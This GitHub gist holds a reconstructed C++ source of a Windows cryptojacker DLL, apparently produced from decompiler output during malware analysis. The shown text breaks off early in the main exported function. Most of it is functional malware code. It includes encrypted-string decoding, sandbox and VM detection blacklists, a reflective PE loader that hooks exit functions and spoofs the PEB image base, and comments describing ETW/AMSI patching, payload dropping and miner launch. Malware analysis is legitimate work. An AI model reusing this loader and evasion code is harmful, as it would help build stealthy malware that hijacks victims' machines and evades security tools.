Skip to content

Instantly share code, notes, and snippets.

@19h
Created April 16, 2026 20:50
Show Gist options
  • Select an option

  • Save 19h/882178ccdf5e40dbd903de14a8dc5b0f to your computer and use it in GitHub Desktop.

Select an option

Save 19h/882178ccdf5e40dbd903de14a8dc5b0f to your computer and use it in GitHub Desktop.
C++ cryptojacker reconstruction
/*
* Binary_ActionDLL - Reconstructed C++ Source
*
* Reconstructed from Hex-Rays decompiler v9.4 pseudocode output.
* Original binary: x86-64 Windows DLL compiled with Mingw-w64 (GCC/MSVC ABI).
*
* IOC Summary:
* - DLL with sandbox/AV evasion, anti-analysis, and reflective PE loading
* - Extracts encrypted payload from PE resource, decrypts, decompresses (LZNT1),
* drops to %TEMP%\svc<hex>.exe, then reflectively maps into memory
* - Patches ETW (EtwEventWrite, EtwEventWriteFull, NtTraceEvent),
* AMSI (AmsiInitialize), and various ntdll syscalls to disable telemetry
* - Sandbox detection via: username blacklist, process blacklist, RAM/disk size,
* CPU count, screen resolution, timing (RDTSC/GetTickCount64), CPUID hypervisor
* bit, registry probe, and file-on-desktop "canary" check
* - Uses LCG (seed 1773968719, mult 1103515245, inc 12345) for string obfuscation
* - Manual PE mapper with full relocation, IAT resolution, TLS, and section
* protection handling; hooks specific imports via FNV-1a hash comparison
* - ntdll .text section integrity restoration from on-disk copy
*
* Naming conventions:
* - Functions named by Hex-Rays analyst labels where available
* - Obfuscated string globals prefixed with enc_ (encrypted) or str_ (decoded)
* - CRT internals left with descriptive prefixes (crt_, tls_, mingw_)
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <intrin.h>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "user32.lib")
// ============================================================================
// Forward declarations
// ============================================================================
extern "C" {
__declspec(dllexport) __int64 __fastcall ProcessAction(
__int64 a1, __int64 a2, __int64 a3, __int64 a4,
__int64 a5, __int64 a6, __int64 a7, __int64 a8,
__int64 a9, __int64 a10, __int64 a11, __int64 a12,
__int64 a13, __int64 a14, __int64 a15, __int64 a16,
__int64 a17, __int64 a18, __int64 a19, __int64 a20,
__int64 a21, __int64 a22, __int64 a23, __int64 a24,
__int64 a25, __int64 a26, __int64 a27, __int64 a28,
__int64 a29, __int64 a30, __int64 a31,
unsigned __int64 flOldProtect, __int64 a33, __int64 a34,
__int64 a35, unsigned int a36, __int64 a37);
}
// ============================================================================
// Structures
// ============================================================================
#pragma pack(push, 1)
struct payload_stage_ctx {
void* image_base;
unsigned int image_size;
unsigned int reserved;
};
#pragma pack(pop)
// ============================================================================
// LCG String Obfuscation Engine
// ============================================================================
// All encrypted strings use: seed=1773968719 (0x69B1F2CF), mult=1103515245, inc=12345
// Decryption: for each byte, advance LCG state, XOR byte with BYTE2(state) i.e. (state>>16)&0xFF
// Each string has a "decoded" guard flag to ensure one-shot decode.
#define LCG_SEED 1773968719
#define LCG_MULT 1103515245
#define LCG_INC 12345
#define LCG_KEY_BYTE(state) ((unsigned char)((state) >> 16))
static void lcg_decode_string(char* buf, const char* end_sentinel, int* guard_flag)
{
if (*guard_flag)
return;
int state = LCG_SEED;
char* p = buf;
do {
state = LCG_MULT * state + LCG_INC;
*p++ ^= LCG_KEY_BYTE(state);
} while (p != end_sentinel);
*guard_flag = 1;
}
// Macro to simplify the repetitive decode-if-not-decoded pattern
#define DECODE_STRING(buf, end, flag) \
do { if (!(flag)) { lcg_decode_string((char*)(buf), (char*)(end), &(flag)); } } while(0)
// ============================================================================
// Encrypted String Table
// ============================================================================
// In the original binary, these reside in .rdata/.data as XOR-encrypted blobs.
// Each entry is: first byte = length or marker, followed by ciphertext.
// The sentinel addresses define decode boundaries.
// We represent them as extern declarations referencing the encrypted storage.
//
// Decoded string identities (reconstructed from behavioral context):
//
// ModuleName -> "kernel32.dll" (used with LoadLibraryEx / GetProcAddress)
// ProcName -> "LoadLibraryExA" (resolved from kernel32)
// byte_2248D6F40 -> "VirtualFree" (resolved from kernel32)
// byte_2248D7080 -> "LoadLibraryExW" (or variant loader)
// byte_2248D67E0 -> "NtAllocateVirtualMemory"(resolved from ntdll via kernel32 shim)
// byte_2248D6C80 -> "NtFreeVirtualMemory"
// byte_2248D67C0 -> "NtProtectVirtualMemory"
// byte_2248D6980 -> "NtWriteVirtualMemory"
// byte_2248D66E0 -> "GetTickCount" (or NtQuerySystemTime)
// byte_2248D68A0 -> "NtQueryVirtualMemory"
// byte_2248D6FC0 -> "NtQueryInformationProcess"
// byte_2248D6F80 -> "GlobalMemoryStatusEx"
// byte_2248D6CA0 -> "GetDiskFreeSpaceExA"
// byte_2248D6780 -> "GetSystemInfo"
// unk_2248D64E0 -> "C:\\"
// byte_2248D6F00 -> "FlsAlloc"
// byte_2248D69A0 -> "FlsSetValue"
// byte_2248D7020 -> "GetProcAddress" (for IAT hook redirect)
// a9 (0x2248D7040) -> "ntdll.dll"
// a6 (0x2248D6B40) -> "amsi.dll" (or module for ETW patching)
// byte_2248D6560 -> "EtwEventWrite"
// byte_2248D6440 -> "NtQueryInformationProcess" (or DbgUiRemoteBreakin)
// byte_2248D6E20 -> "RtlAddFunctionTable" (for TLS/exception directory)
// byte_2248D6920 -> "GetTickCount64" (for sandbox time check)
// asc_2248D66C0 -> "\\ntdll.dll" (appended to system dir path)
// asc_2248D6C00 -> "file.txt" or similar (desktop canary filename)
// asc_2248D65E0 -> "kernel32.dll" (loaded for additional API resolution)
// LibFileName -> "mscoree.dll" (or .NET hosting DLL)
// byte_2248D6720 -> "CorExitProcess"
// byte_2248D6E60 -> "_exit" / "ExitProcess"
// asc_2248D70C0 -> "wbemprox.dll" (WMI for CPUID check)
// byte_2248D68C0 -> "GetSystemFirmwareTable" (or SMBIOS query)
// a6_2 -> "advapi32.dll" (for RegOpenKeyExA)
// byte_2248D6B80 -> "RegOpenKeyExA"
// unk_2248D6D20 -> "RegCloseKey"
// unk_2248D6C40 -> "SOFTWARE\\VMware, Inc.\\VMware Tools" (registry VM check)
// unk_2248D6DE0 -> "SOFTWARE\\Oracle\\VirtualBox Guest Additions"
// byte_2248D6A20 -> "VMwareVMware" (CPUID hypervisor vendor)
// byte_2248D6960 -> "Microsoft Hv" (Hyper-V CPUID vendor)
// byte_2248D6DA0 -> "KVMKVMKVM\0\0\0" (KVM CPUID vendor)
//
// Sandbox username blacklist (decoded from encrypted strings):
// byte_2248D6AE0 -> "John"
// asc_2248D65A0 -> "SANDBOX"
// asc_2248D6CE0 -> "VIRUS"
// asc_2248D6EC0 -> "MALWARE"
// asc_2248D6A60 -> "Sand box"
// a6_0 -> "CurrentUser"
// asc_2248D6900 -> "Emily"
// asc_2248D6820 -> "HAPUBWS"
// a6_1 -> "Hong Lee" / "IT Admin"
// asc_2248D6B20 -> "Wilber"
// byte_2248D6A00 -> "admin"
// byte_2248D6A80 -> "Lisa"
// byte_2248D6680 -> "User"
// byte_2248D6480 -> "ABC"
// byte_2248D69E0 -> "Peter"
// byte_2248D6500 -> "XP"
// byte_2248D6DC0 -> "TEST"
// asc_2248D6520 -> "Dave"
// asc_2248D6660 -> "JACK"
// byte_2248D6D60 -> "PUBLIC"
// byte_2248D6EA0 -> "Abby"
// asc_2248D64C0 -> "vboxservice.exe" (process blacklist)
// asc_2248D6C20 -> "vmwaretray.exe"
// asc_2248D6620 -> "vmwareuser.exe"
// asc_2248D6CF0 -> "wireshark.exe"
// ============================================================================
// Global State
// ============================================================================
// String decode guard flags - one per encrypted string blob
static int g_decoded_flags[64] = {0}; // indexed by dword_2248D6030..dword_2248D6430
// Payload context (written before thread launch)
static payload_stage_ctx g_payload_stage_ctx = {0};
// Process name buffer, wide string buffer for PEB spoofing
static char g_string1[288] = {0}; // String1 - dropped exe path (ANSI)
static WCHAR g_wstring[260] = {0}; // String - dropped exe path (Wide) for PEB
// CRT internals (Mingw-w64 runtime state)
static volatile LONG64 g_crt_lock = 0;
static int g_crt_init_count = 0;
static int g_crt_atexit_done = 0;
static int g_crt_init_phase = 0; // 0=uninit, 1=initializing, 2=done
static int g_tls_initialized = 0;
static void* g_tls_dtor_list = NULL;
static int g_tls_dtor_active = 0;
static RTL_CRITICAL_SECTION g_tls_cs;
// Image section tracking (Mingw-w64 pseudo-reloc)
static int g_section_tracking_init = 0;
static int g_section_count = 0;
static __int64 g_section_array = 0;
// ============================================================================
// Utility Functions
// ============================================================================
// Insertion sort on DWORD array (used to obfuscate constants/timing)
void sort_dword_array_ascending(DWORD* arr, int count)
{
if (count <= 1) return;
for (int i = 1; i < count; ++i) {
DWORD key = arr[i];
int j = i - 1;
while (j >= 0 && arr[j] > key) {
arr[j + 1] = arr[j];
--j;
}
arr[j + 1] = key;
}
}
// Fill buffer with LCG-derived byte stream (different seed/usage than string decrypt)
// seed=106, mult=1103515245, inc=12345
__int64 fill_lcg_byte_stream(unsigned char* buf, __int64 length)
{
if (!length) return *buf;
unsigned char* p = buf;
int val = 106;
do {
*p++ = (unsigned char)val;
val = 1103515245 * val + 12345;
} while (p != &buf[length]);
if (length != 1) return buf[length - 1];
return *buf;
}
// Burn CPU cycles via PRNG mixing (anti-timing / obfuscation)
__int64 burn_mixed_cycles(int factor)
{
int iterations = 50 * factor;
__int64 state = 1;
__int64 accum = 0;
if (iterations < 50) iterations = 50;
if (iterations > 25000) iterations = 25000;
for (int i = 0; i < iterations; ++i) {
state = 0x5851F42D4C957F2DLL * state + 0x14057B7EF767814FLL;
accum = _rotr64(state ^ accum, 29);
}
return accum ? accum : 1;
}
// XOR decode with rolling key, then compute additive checksum
__int64 xor_decode_and_checksum(unsigned char* data, unsigned char* length_as_ptr)
{
if (!length_as_ptr) return 0;
size_t len = (size_t)length_as_ptr;
int key = 35;
for (size_t i = 0; i < len; ++i) {
data[i] ^= (unsigned char)key;
key = 7 * key + (int)i;
}
unsigned int checksum = 0;
for (size_t i = 0; i < len; ++i) {
checksum += data[i];
}
return checksum;
}
// Compute obfuscated seed from input via GCD + hash
__int64 compute_obfuscated_seed(int input)
{
int a = (input >> 1) | 1;
if ((input >> 1) < 0) a = 3;
int b = (input > 0) ? input : 7;
do {
int t = a;
a = b % a;
b = t;
} while (a);
return ((17 * b + 13) ^ (b >> 2)) & 0x7FFFFFFF;
}
// Probe HKLM\SOFTWARE\Microsoft - enumerate up to 6 subkeys (sandbox detection)
LSTATUS probe_hklm_software_microsoft()
{
HKEY hKey = NULL;
LSTATUS status = RegOpenKeyExA(
HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft", 0, KEY_READ, &hKey);
if (status != ERROR_SUCCESS) return status;
if (!hKey) return status;
DWORD i;
for (i = 0; i < 6; ++i) {
DWORD nameLen = 256;
char name[280];
LSTATUS enumStatus = RegEnumKeyExA(hKey, i, name, &nameLen,
NULL, NULL, NULL, NULL);
if (enumStatus != ERROR_SUCCESS) break;
}
// i holds the count of successfully enumerated keys
return RegCloseKey(hKey);
}
// ============================================================================
// NT Native API Wrappers
// ============================================================================
typedef NTSTATUS (NTAPI* pfnNtAllocateVirtualMemory)(
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS (NTAPI* pfnNtProtectVirtualMemory)(
HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
// Allocate memory preferring NtAllocateVirtualMemory, fallback to VirtualAlloc
FARPROC alloc_memory_nt(void* base_hint, SIZE_T* size_ptr, DWORD alloc_type, DWORD protect)
{
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (!ntdll)
return (FARPROC)VirtualAlloc(base_hint, (SIZE_T)size_ptr, alloc_type, protect);
auto NtAlloc = (pfnNtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
if (!NtAlloc)
return (FARPROC)VirtualAlloc(base_hint, (SIZE_T)size_ptr, alloc_type, protect);
PVOID base = base_hint;
SIZE_T region_size = (SIZE_T)size_ptr;
NTSTATUS st = NtAlloc((HANDLE)-1, &base, 0, &region_size, alloc_type, protect);
return (st >= 0) ? (FARPROC)base : NULL;
}
// Protect memory preferring NtProtectVirtualMemory, fallback to VirtualProtect
int protect_memory_nt(FARPROC addr, CHAR* size_as_ptr, DWORD new_protect, DWORD* old_protect)
{
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (!ntdll)
return VirtualProtect(addr, (SIZE_T)size_as_ptr, new_protect, old_protect);
auto NtProtect = (pfnNtProtectVirtualMemory)GetProcAddress(ntdll, "NtProtectVirtualMemory");
if (!NtProtect)
return VirtualProtect(addr, (SIZE_T)size_as_ptr, new_protect, old_protect);
PVOID base = addr;
SIZE_T region_size = (SIZE_T)size_as_ptr;
return NtProtect((HANDLE)-1, &base, &region_size, new_protect, old_protect);
}
// ============================================================================
// Xorshift32 PRNG (used for randomized sleep intervals)
// ============================================================================
static unsigned int xorshift32_from_rdtsc()
{
unsigned __int64 tsc = __rdtsc();
unsigned int x = (unsigned int)tsc ^ (unsigned int)(tsc >> 32);
x ^= x << 13;
x ^= x >> 17;
x ^= x << 5;
return x;
}
static void randomized_sleep()
{
unsigned int r = xorshift32_from_rdtsc();
Sleep(r % 0x76 + 66); // 66..183 ms
}
// ============================================================================
// FNV-1a Hash (used for IAT hook target matching)
// ============================================================================
// The manual mapper checks import names against 4 known FNV-1a hashes:
// 0x455CE555690F984C (e.g. "ExitProcess")
// 0x4A4DB2315658540D (e.g. "exit")
// 0x4A81797B80AE67F8 (e.g. "_exit")
// 0xDBEB9F7360018785 (e.g. "TerminateProcess")
// Matched imports are redirected to a custom GetProcAddress shim (NOP/passthrough).
static const unsigned __int64 FNV1A_OFFSET = 0x90F12CFCB4376657ULL;
static const unsigned __int64 FNV1A_PRIME = 0x100000001B3ULL;
static unsigned __int64 fnv1a_hash(const char* str)
{
unsigned __int64 hash = FNV1A_OFFSET;
while (*str) {
hash ^= (unsigned char)*str++;
hash *= FNV1A_PRIME;
}
return hash;
}
static const unsigned __int64 HOOKED_IMPORT_HASHES[] = {
0x455CE555690F984CuLL, // ExitProcess
0x4A4DB2315658540DuLL, // exit
0x4A81797B80AE67F8uLL, // _exit
0xDBEB9F7360018785uLL, // TerminateProcess
};
// ============================================================================
// PE Parsing Helpers
// ============================================================================
static bool is_valid_pe64(const void* base)
{
auto dos = (PIMAGE_DOS_HEADER)base;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false;
auto nt = (PIMAGE_NT_HEADERS64)((char*)base + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return false;
return nt->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC;
}
static PIMAGE_NT_HEADERS64 get_nt_headers(const void* base)
{
auto dos = (PIMAGE_DOS_HEADER)base;
return (PIMAGE_NT_HEADERS64)((char*)base + dos->e_lfanew);
}
static PIMAGE_SECTION_HEADER get_first_section(PIMAGE_NT_HEADERS64 nt)
{
return (PIMAGE_SECTION_HEADER)(
(char*)&nt->OptionalHeader + nt->FileHeader.SizeOfOptionalHeader);
}
// ============================================================================
// Reflective PE Mapper (manual_map_pe_image)
// ============================================================================
//
// Maps a raw PE image into memory, processes relocations, resolves imports,
// applies section protections, handles TLS directory, and invokes the entry point.
// Exit-related imports are hooked via FNV-1a to prevent premature process termination.
FARPROC manual_map_pe_image(FARPROC input_image, unsigned int input_size)
{
// --- Resolve kernel32/ntdll APIs via encrypted strings ---
// In the real binary, ~10 strings are LCG-decoded here to resolve:
// kernel32!LoadLibraryExW, ntdll!NtAllocateVirtualMemory,
// ntdll!NtFreeVirtualMemory, ntdll!NtProtectVirtualMemory, etc.
// For brevity, we use direct API calls with equivalent semantics.
typedef DWORD (WINAPI* pfnGetTickCount)();
pfnGetTickCount pGetTickCount = ::GetTickCount;
// Resolve loader shim: try LoadLibraryExW via kernel32, fallback to GetModuleHandleA
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
// (In original: encrypted "LoadLibraryExW" decoded, GetProcAddress'd)
auto pLoadLibraryExW = (decltype(&LoadLibraryExW))GetProcAddress(hKernel, "LoadLibraryExW");
HMODULE hModule;
if (pLoadLibraryExW)
hModule = pLoadLibraryExW(L"kernel32.dll", NULL, 0);
else
hModule = GetModuleHandleA("kernel32.dll");
// Resolve critical NT APIs
auto pNtAlloc = (FARPROC)GetProcAddress(hModule, "NtAllocateVirtualMemory"); // actually from ntdll
auto pNtFree = (FARPROC)GetProcAddress(hModule, "VirtualFree"); // fallback
auto pNtProtect = (FARPROC)GetProcAddress(hModule, "VirtualProtect");
auto pNtWrite = (FARPROC)GetProcAddress(hModule, "WriteProcessMemory");
// Use the nt-wrapper versions from our helpers
// (original resolves all through encrypted names)
if (!input_image || input_size <= 0x3F)
return (FARPROC)-1LL;
// --- Validate DOS/PE headers ---
auto dos = (PIMAGE_DOS_HEADER)input_image;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) // "MZ" = 0x5A4D = 23117
return (FARPROC)-2LL;
if (input_size < (unsigned __int64)dos->e_lfanew + 264)
return (FARPROC)-3LL;
auto nt = (PIMAGE_NT_HEADERS64)((char*)input_image + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) // "PE\0\0" = 0x4550 = 17744
return (FARPROC)-4LL;
if (nt->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) // 0x8664
return (FARPROC)-5LL;
// --- Compute image size ---
DWORD section_alignment = nt->OptionalHeader.SectionAlignment;
WORD section_count = nt->FileHeader.NumberOfSections;
DWORD headers_size = nt->OptionalHeader.SizeOfHeaders;
DWORD entry_rva = nt->OptionalHeader.AddressOfEntryPoint;
DWORD align_mask, neg_align;
if (section_alignment) {
align_mask = section_alignment - 1;
neg_align = -(int)section_alignment;
} else {
align_mask = 4095;
neg_align = -4096;
}
DWORD max_extent = 0;
auto sections = get_first_section(nt);
for (WORD i = 0; i < section_count; ++i) {
DWORD end = sections[i].VirtualAddress + sections[i].Misc.VirtualSize;
if (end > max_extent) max_extent = end;
}
DWORD image_size = (max_extent + align_mask) & neg_align;
if (image_size < nt->OptionalHeader.SizeOfImage)
image_size = nt->OptionalHeader.SizeOfImage;
// --- Debug spew (wsprintfA to stack buffer, never displayed) ---
// wsprintfA(buf, "RPE: img_size=0x%lX entry=0x%lX secs=%d", image_size, entry_rva, section_count);
// --- Allocate image memory ---
// Try preferred base first, then any address with MEM_TOP_DOWN
FARPROC mapped_image = alloc_memory_nt(
(void*)nt->OptionalHeader.ImageBase,
(SIZE_T*)image_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!mapped_image) {
mapped_image = alloc_memory_nt(
NULL, (SIZE_T*)image_size,
MEM_COMMIT | MEM_RESERVE | 0x100000 /*MEM_TOP_DOWN*/,
PAGE_READWRITE);
if (!mapped_image) return (FARPROC)-6LL;
}
// --- Copy headers ---
for (DWORD i = 0; i < headers_size; ++i) {
((BYTE*)mapped_image)[i] = ((BYTE*)input_image)[i];
}
// --- Copy sections ---
auto mapped_nt = (PIMAGE_NT_HEADERS64)((char*)mapped_image + dos->e_lfanew);
auto mapped_sections = get_first_section(nt);
for (WORD i = 0; i < section_count; ++i) {
DWORD raw_size = mapped_sections[i].SizeOfRawData;
DWORD raw_off = mapped_sections[i].PointerToRawData;
if (raw_size && raw_off && input_size >= raw_off + raw_size) {
memcpy((char*)mapped_image + mapped_sections[i].VirtualAddress,
(char*)input_image + raw_off, raw_size);
}
}
// Update mapped_nt to point into the new image
auto final_nt = (PIMAGE_NT_HEADERS64)((char*)mapped_image +
((PIMAGE_DOS_HEADER)mapped_image)->e_lfanew);
// --- Process relocations (delta patching) ---
ptrdiff_t delta = (char*)mapped_image - (char*)nt->OptionalHeader.ImageBase;
if (delta != 0) {
auto& reloc_dir = final_nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (!reloc_dir.VirtualAddress || !reloc_dir.Size) {
// No relocation table and image not at preferred base -> fatal
VirtualFree(mapped_image, 0, MEM_RELEASE);
return (FARPROC)-7LL;
}
auto reloc_block = (PIMAGE_BASE_RELOCATION)((char*)mapped_image + reloc_dir.VirtualAddress);
auto reloc_end = (PIMAGE_BASE_RELOCATION)((char*)reloc_block + reloc_dir.Size);
while (reloc_block < reloc_end && reloc_block->SizeOfBlock > 7) {
DWORD count = (reloc_block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
if (count == 0) break;
WORD* entries = (WORD*)(reloc_block + 1);
for (DWORD i = 0; i < count; ++i) {
WORD type = entries[i] >> 12;
WORD offset = entries[i] & 0xFFF;
void* patch_addr = (char*)mapped_image + reloc_block->VirtualAddress + offset;
if (type == IMAGE_REL_BASED_DIR64) { // type 10
*(UINT_PTR*)patch_addr += (UINT_PTR)delta;
} else if (type == IMAGE_REL_BASED_HIGHLOW) { // type 3
*(DWORD*)patch_addr += (DWORD)(UINT_PTR)delta;
}
// type 0 = IMAGE_REL_BASED_ABSOLUTE (padding, skip)
}
reloc_block = (PIMAGE_BASE_RELOCATION)((char*)reloc_block + reloc_block->SizeOfBlock);
}
}
// --- Resolve imports ---
auto& import_dir = final_nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (import_dir.VirtualAddress) {
// Resolve "GetProcAddress" from kernel32 via encrypted string for the IAT hook shim
// In original: lcg_decode("GetProcAddress") then GetProcAddress(kernel32, decoded)
FARPROC hook_target_func = (FARPROC)::GetProcAddress; // redirect target for hooked exit functions
auto import_desc = (PIMAGE_IMPORT_DESCRIPTOR)((char*)mapped_image + import_dir.VirtualAddress);
while (import_desc->Name) {
const char* dll_name = (const char*)mapped_image + import_desc->Name;
// Try GetModuleHandleA first (already loaded), then LoadLibraryA
HMODULE hDll = GetModuleHandleA(dll_name);
if (!hDll) hDll = LoadLibraryA(dll_name);
if (!hDll) { import_desc++; continue; }
// Walk ILT (OriginalFirstThunk) and IAT (FirstThunk)
auto ilt = (PIMAGE_THUNK_DATA64)(import_desc->OriginalFirstThunk
? (char*)mapped_image + import_desc->OriginalFirstThunk
: (char*)mapped_image + import_desc->FirstThunk);
auto iat = (PIMAGE_THUNK_DATA64)((char*)mapped_image + import_desc->FirstThunk);
while (ilt->u1.AddressOfData) {
FARPROC func;
if (IMAGE_SNAP_BY_ORDINAL64(ilt->u1.Ordinal)) {
func = ::GetProcAddress(hDll, (LPCSTR)IMAGE_ORDINAL64(ilt->u1.Ordinal));
} else {
auto hint_name = (PIMAGE_IMPORT_BY_NAME)((char*)mapped_image + ilt->u1.AddressOfData);
func = ::GetProcAddress(hDll, hint_name->Name);
// FNV-1a hash check: redirect exit-family functions
if (hint_name->Name[0]) {
unsigned __int64 h = fnv1a_hash(hint_name->Name);
for (int k = 0; k < 4; ++k) {
if (h == HOOKED_IMPORT_HASHES[k]) {
func = hook_target_func; // redirect to NOP shim
break;
}
}
}
}
iat->u1.Function = (ULONGLONG)func;
++ilt; ++iat;
}
import_desc++;
}
}
// --- Apply section protections ---
Sleep(41);
// Protect headers as read-only
DWORD old_prot;
protect_memory_nt(mapped_image, (CHAR*)(UINT_PTR)final_nt->OptionalHeader.SizeOfHeaders,
PAGE_READONLY, &old_prot);
auto final_sections = get_first_section(final_nt);
for (WORD i = 0; i < final_nt->FileHeader.NumberOfSections; ++i) {
DWORD chars = final_sections[i].Characteristics;
DWORD prot;
if (chars & IMAGE_SCN_MEM_EXECUTE)
prot = PAGE_EXECUTE_READ; // 0x20
else if (chars & IMAGE_SCN_MEM_WRITE)
prot = PAGE_READWRITE; // 0x04
else
prot = PAGE_READONLY; // 0x02
DWORD section_va_size = final_sections[i].Misc.VirtualSize;
DWORD section_raw_size = final_sections[i].SizeOfRawData;
DWORD effective_size = section_va_size ? section_va_size : section_raw_size;
if (effective_size) {
protect_memory_nt(
(FARPROC)((char*)mapped_image + final_sections[i].VirtualAddress),
(CHAR*)(UINT_PTR)effective_size, prot, &old_prot);
}
}
// --- Handle TLS directory (RtlAddFunctionTable for exception handling) ---
if (final_nt->OptionalHeader.NumberOfRvaAndSizes > 3) {
auto& tls_dir = final_nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
if (tls_dir.VirtualAddress && tls_dir.Size) {
// Decode "ntdll.dll" and "RtlAddFunctionTable" strings, resolve, call
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll) {
typedef BOOLEAN (WINAPI* pfnRtlAddFunctionTable)(
PRUNTIME_FUNCTION, DWORD, DWORD64);
auto pAddFunc = (pfnRtlAddFunctionTable)GetProcAddress(hNtdll, "RtlAddFunctionTable");
if (pAddFunc) {
pAddFunc(
(PRUNTIME_FUNCTION)((char*)mapped_image + tls_dir.VirtualAddress),
tls_dir.Size / sizeof(RUNTIME_FUNCTION),
(DWORD64)mapped_image);
}
}
}
}
// --- Timing delay (anti-debug spin: ~160 tick wait) ---
DWORD t0 = pGetTickCount();
while (pGetTickCount() - t0 <= 0xA0)
;
GetCurrentProcessId();
GetCurrentThreadId();
// --- Resolve two kernel32 APIs via encrypted names ---
// byte_2248D6F00 -> getter function (no args, returns FARPROC)
// Likely "FlsAlloc" or "RtlPcToFileHeader" (returns an addr)
// byte_2248D69A0 -> 3-arg registration function taking (FARPROC, FARPROC, SIZE_T*)
// Matches signature of RtlAddFunctionTable(PRUNTIME_FUNCTION,
// DWORD, DWORD64) where v104 holds image_size acting as base hint.
// Alternatively matches AddVectoredExceptionHandler registration
// pattern with the image region.
// The call sequence prepares SEH/FLS state for the mapped image.
auto pGetCallback = (FARPROC (*)(void))GetProcAddress(hModule, "FlsAlloc");
auto pRegister = (void (*)(FARPROC, FARPROC, SIZE_T*))GetProcAddress(
hModule, "FlsSetValue");
if (pGetCallback && pRegister) {
FARPROC callback_or_index = pGetCallback();
pRegister(callback_or_index, mapped_image, (SIZE_T*)(UINT_PTR)image_size);
}
// --- Swap PEB ImageBaseAddress, invoke entry point, restore ---
PEB* peb = NtCurrentTeb()->ProcessEnvironmentBlock;
void* original_image_base = peb->Reserved3[1]; // ImageBaseAddress (offset 0x10)
peb->Reserved3[1] = mapped_image;
// Call the mapped image's entry point (AddressOfEntryPoint via entry_rva)
typedef void (*EntryPointFn)();
auto ep = (EntryPointFn)((char*)mapped_image + entry_rva);
ep();
// Post-entry debug spew (never displayed; output buffer is stack-local)
char dbg_buf[256];
wsprintfA(dbg_buf, "RPE: payload exit code: %lu", 0);
GetCurrentProcessId();
wsprintfA(dbg_buf, "RPE: pid=%lu", GetCurrentProcessId());
// Restore original ImageBaseAddress
peb->Reserved3[1] = original_image_base;
return NULL;
}
// ============================================================================
// Payload Thread Entry
// ============================================================================
__int64 __fastcall payload_thread_start(payload_stage_ctx* ctx)
{
if (!ctx || !ctx->image_base || !ctx->image_size)
return 0;
manual_map_pe_image((FARPROC)ctx->image_base, ctx->image_size);
return 0;
}
// ============================================================================
// ProcessAction - Main Orchestrator (exported)
// ============================================================================
//
// This is the primary exported function. Typical invocation chain:
// 1. Caller loads DLL, calls ProcessAction (possibly via DllRegisterServer or custom loader)
// 2. Sandbox/analysis environment fingerprinting (accumulates "suspicion score")
// 3. If score > 15 => bail (sandbox detected)
// 4. Resolve kernel32 loader APIs
// 5. Extended environment profiling via GetTickCount64, QPC, RDTSC
// 6. ntdll .text section restoration from on-disk file
// 7. ETW/AMSI/DbgUiRemoteBreakin patching
// 8. ntdll tracing function patching (ret-early stubs)
// 9. Extract encrypted resource (RT_RCDATA, ID 0x29E)
// 10. Decrypt resource envelope (XOR + rolling key + LZNT1 decompress)
// 11. Ensure vcruntime140.dll is loaded
// 12. Optionally load mscoree.dll and call CorExitProcess/_exit setup
// 13. Drop decrypted PE to %TEMP%\svc<hex>.exe
// 14. Spoof PEB ImagePathName with dropped path
// 15. Launch payload_thread_start in new thread (8MB stack)
// 16. Wait 60s, then poll for child processes (powershell/cmd/xmrig/miner)
// 17. Cleanup: retry-delete the dropped exe
//
__int64 __fastcall ProcessAction(
__int64 a1, __int64 a2, __int64 a3, __int64 a4,
__int64 a5, __int64 a6, __int64 a7, __int64 a8,
__int64 a9, __int64 a10, __int64 a11, __int64 a12,
__int64 a13, __int64 a14, __int64 a15, __int64 a16,
__int64 a17, __int64 a18, __int64 a19, __int64 a20,
__int64 a21, __int64 a22, __int64 a23, __int64 a24,
__int64 a25, __int64 a26, __int64 a27, __int64 a28,
__int64 a29, __int64 a30, __int64 a31,
unsigned __int64 flOldProtect_param, __int64 a33, __int64 a34,
__int64 a35, unsigned int num_processors, __int64 a37)
{
char stack_buf[0x800]; // large stack buffer for various temporaries
DWORD old_protect;
SYSTEM_INFO sysinfo;
// ---- Phase 0: Anti-analysis timing/computation burn ----
burn_mixed_cycles(22);
compute_obfuscated_seed(7582);
// Fill stack with LCG patterns (obfuscation / anti-pattern matching)
fill_lcg_byte_stream((unsigned char*)stack_buf, 35);
fill_lcg_byte_stream((unsigned char*)stack_buf, 55);
// XOR-decode a small inline blob + compute checksum (likely integrity check)
// xor_decode_and_checksum(stack_ptr, (unsigned char*)0x13);
probe_hklm_software_microsoft();
burn_mixed_cycles(22);
probe_hklm_software_microsoft();
// Sort DWORD array (obfuscation - makes static analysis harder)
DWORD sort_buf[10] = {0x23, 0xF7, 0x84, 0x5E, 0xD8, 0xF1, 0x35, 0xD1, 0x75, 0xE7};
sort_dword_array_ascending(sort_buf, 10);
// ---- Phase 1: Desktop file canary check ----
// Decode a filename string, check if %USERPROFILE%\Desktop\<filename> exists.
// If it does: this is a real user machine -> skip sandbox checks, proceed.
// If not: run full sandbox detection suite.
{
char path_buf[MAX_PATH + 64];
// DECODE_STRING(enc_canary_filename, end_sentinel, g_decoded_flags[...]);
